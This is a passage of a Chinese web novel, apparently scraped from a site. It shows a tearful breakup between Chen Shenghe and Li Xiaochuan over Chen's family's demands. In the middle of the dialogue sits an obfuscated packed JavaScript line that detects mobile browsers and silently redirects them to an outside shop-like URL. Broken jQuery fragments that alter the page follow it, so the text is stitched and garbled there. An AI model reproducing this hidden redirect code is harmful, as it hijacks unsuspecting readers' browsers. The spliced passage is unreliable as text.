“北京……干燥。”他嗓子发紧，像是有人在那里系了根麻绳，“你记得带加湿器。”


    李霄川嗤笑一声，笑得弯下腰去。等他直起身时，眼眶红得像抹了胭脂：“陈声和，你真是潮汕人里最会泡茶的。”


    “什么？”


    “永远温吞水，永远烫不烂嘴。”他扯了扯嘴角，却没能成功挤出一个笑。


    第一滴雨很快砸在窗玻璃上，族谱通知的“陈”字被飘进来的雨丝晕开，像被眼泪打湿的墨迹。


    “那你要我怎么办！”陈声和猛地站起来，他踢了一脚箱子，箱子在地面上刮出刺耳的声音，“看着他进ICU？看着我阿妈跪在祠堂哭？”


    他的潮汕口音冒了出来，把哭字念得像一声呜咽，尾音拖得长长的。


    陈声和的情绪一出来，李霄川便突然平静了下来。


    他这辈子最受不了两件事：一是看陈声和哭，二是看陈声和为难。


    他多想任性一次，可站在对面的不是什么仇人，是广东仔的爸妈。


    李霄川垂下眼，慢慢把那张录取通知对折，再对折。指甲在折痕上来回刮了几遍，直到它变成个又小又硬的方块，硌在掌心里。


    可就这么放弃了，他不甘心啊。


    “所以呢？”他的声音开始发抖，“所以你就准备回去结婚？继承你家那个破厂？每天喝工夫茶装乖儿子？”


    “……别逼我了。”陈声和哽咽着，泪水不断涌出来，“阿川，你给我点时间……”


    李霄川猛地转身不看陈声和，望向窗外。雨滴在玻璃上蜿蜒而下，像是无数条透明的蚯蚓。


    “都在说，那种家庭出来的孩子，迟早要回去的。”他的声音轻得像在自言自语，又像是说给雨听。


    “我知道，”李霄川轻轻笑了一声，笑声很快被雨声吞没，“我不逼你。”


    窗外的雨越下越大，雨滴砸在玻璃上，发出噼里啪啦的声响，犹如无数细小的手指在急切地敲打，想要进来避雨，又像是想要出去。


    李霄川背对着陈声和站着，肩膀的肌肉绷出锋利的线条，好像是拉满的弓弦下一秒就要断裂。


    他的手指机械地折着那张省川剧院的录取通知，反复对折又展开，纸张边角已经磨出毛边。


    陈声和站在他身后，喉咙发紧。他盯着李霄川的后颈，那里有一道浅浅的疤痕，是去年练功时被道具划伤的。


    当时他一边骂李霄川不小心，一边手抖着给他涂药，李霄川就那样仰着脸看他，眼睛里全是笑意。


    而现在，那道疤在节能灯惨白的光线下刺激着他的心脏。


    “阿川……”陈声和开口，声音被窗外的雨声削得薄如纸片。


    李霄川的肩胛骨在T恤下凸起，没回头。


    “你走吧。”他说得很轻，轻得像夜班公交车上陌生人漏出的耳机杂音。


    陈声和觉得有根铁丝突然勒进胸腔：“你说什么？”


    李霄川转过来时碰倒了桌上的小茶杯，杯底残留的茶叶渣泼在地上，杯子也碎了。他的眼睛黑得吓人，仿佛有人往瞳孔里泼了墨。


    “我说，你走吧。”他扯了扯嘴角，“回你的潮汕，去祠堂给你祖宗磕头，娶那个在微信里叫你声和哥哥的千金小姐们。”


    陈声和猛地握紧了行李箱的拉杆。


    “你以为我想吗？”他的声音开始发抖，潮汕话的尾音不受控制地往上飘，“我阿爸心脏支架才做半年，我阿妈……”


    “你当然有的选。”李霄川向前一步，逼近陈声和，“你只是选了更轻松的。”


    雨声越来越大，楼下的榕树枝抽打着玻璃，投在墙上的影子如同无数挣扎的手。


    陈声和闻到李霄川领口残留的火锅味，混着刚才剁辣椒的气息，呛得他太阳穴突突直跳。


    “我不敢？”他猛地抬头，眼眶通红，“李霄川，你知不知道我为了跟你在一起，这半年接了多少个家里的电话？我阿爸每次打来，第一句话就是问我有没有跟那个成都人断了！我阿妈……”


    他的声音哽住了，喉结滚动了一下，才继续道：“我阿妈上次来成都，偷偷去查了你的底。她回来就跟我说，如果我再跟你在一起，她就去跳海。”


    李霄川脸上的肌肉抽动了一下。


    “她不会的。”这句话轻得像自言自语。


    陈声和咧开嘴，露出个扭曲的笑：“你见过潮汕人拜祖宗吗？三跪九叩的时候，膝盖撞在青砖上的声音……”


    他指了指自己左额角，“我八岁不肯背族谱，这里被我阿公拿茶杯砸的疤还在。”


    空气突然变得黏稠，窗外的雨声里混进了救护车鸣笛，由远及近又渐渐消失。


    李霄川的目光盯在陈声和脸上，眼里的温度一点点消散。他后槽牙咬得太紧，下颌线绷出锋利的弧线。


    “所以呢？”他每个字都像从齿缝里挤出来的，“你就这么认了？”


    “我不是认命啊！”陈声和突然拔高的声音在房间里炸开，他喘着粗气，喉结剧烈滚动，“我只是……需要时间。”


    “时间？”李霄川鼻腔里溢出一声冷笑，“给你时间干什么？去跟个连面都没见过的女人培养感情？”


    “还是等你们孩子会打酱油了，给我寄满月酒请帖？”


    陈声和的拳头狠狠砸向墙面，“咚”的一声闷响在房间里炸开，指关节瞬间充血发红，墙皮碎屑簌簌落下。


    “那你告诉我，该怎么办啊！”他的声音嘶哑，潮汕口音彻底失控。“选阿爸阿妈还是选你？选潮汕还是选成都？我他妈的呼吸都是错的！”


    李霄川眼眶突然红了，他声音也拔高了：“你至少挣扎一下啊！”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005901|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我挣扎过了！”他声音哑得不像自己，“每次我爸打电话我都按免提让你听，每次我妈寄来的相亲照片我都当着你面撕掉……可他们是我父母！”


    雨水在玻璃上蜿蜒成河，倒映着两人扭曲的影子。


    李霄川的声音渐渐轻了下来：“那我呢？”他指腹摩挲着录取通知书上晕开的墨迹，“我算什么？”


    沉默蔓延了整个房间，老式挂钟的秒针走动声伴随着雨声，每一下都像在倒计时。


    “知道最可笑的是什么吗？”李霄川突然笑了，手指揪着T恤下摆的线头，“我总想着……只要我站得够稳，你迟早会朝我走一步。”


    线头崩断的轻响里，他眼底的光彻底暗下去：“是我太蠢了。”


    陈声和觉得有把刀在胸腔里慢慢搅动，疼得他弯下腰去。


    李霄川拿来医疗箱蹲在他面前，一声不吭帮他消毒抹药，那双手抖得连个创可贴都拿不稳。


    “我不愿意……”


    不愿意让你去北京，不愿意和你分开……


    陈声和视线模糊一片，他突然抓住李霄川的手咬在无名指上，他用了很大的劲，口腔里有了血腥味，可李霄川还是没有说什么。


    ……


    衣架上的牛仔外套还挂着潮湿的雨水味。


    李霄川取衣服的动作很慢，像是关节生了锈。袖口蹭到玄关的绿萝，叶片上的水珠砸在地板上。


    “阿川……”陈声和的手悬在半空，手指发颤。


    李霄川在门口回头。楼道声控灯从他背后打过来，在脸上投下斑驳的光影，他的嘴角扯出一个极淡的笑。


    “不用为难了。”他手指搭在门把上，“我放你走。”


    门关上的瞬间，陈声和听见钥匙串清脆的碰撞声，李霄川总习惯把钥匙挂在背包带上，说这样才不会丢。


    雨声突然变得很远。陈声和慢慢滑坐在地上，掌心还残留着墙灰的触感。


    他低头把脸埋进膝盖，闻到牛仔裤上残留的火锅底料味，还有自己手上的碘伏味。


    敞开的行李箱里，有件黑色T恤皱成一团，是他给买的，领口有点脱线，李霄川穿它练后空翻时扯的。


    现在它静静躺在箱底，融入箱子布料中。窗外的雨还在下，水痕在玻璃上交叉又分开，诉说着无始无终的告别。


    积压的情绪像烧开的水，终于顶翻了壶盖。


    陈声和猛地站起身，一把掀翻了面前的桌子！


    轰隆一声！


    他心爱的茶具、滚沸的火锅、还有母亲寄来的那些东西，全都稀里哗啦摔了一地，滚烫的汤水溅得到处都是。


    世界瞬间安静了，只剩下一片狼藉。


    他颓然跌坐回沙发，把脸深深埋进手掌，肩膀控制不住地颤抖起来，眼泪从指缝里大颗大颗地往下砸。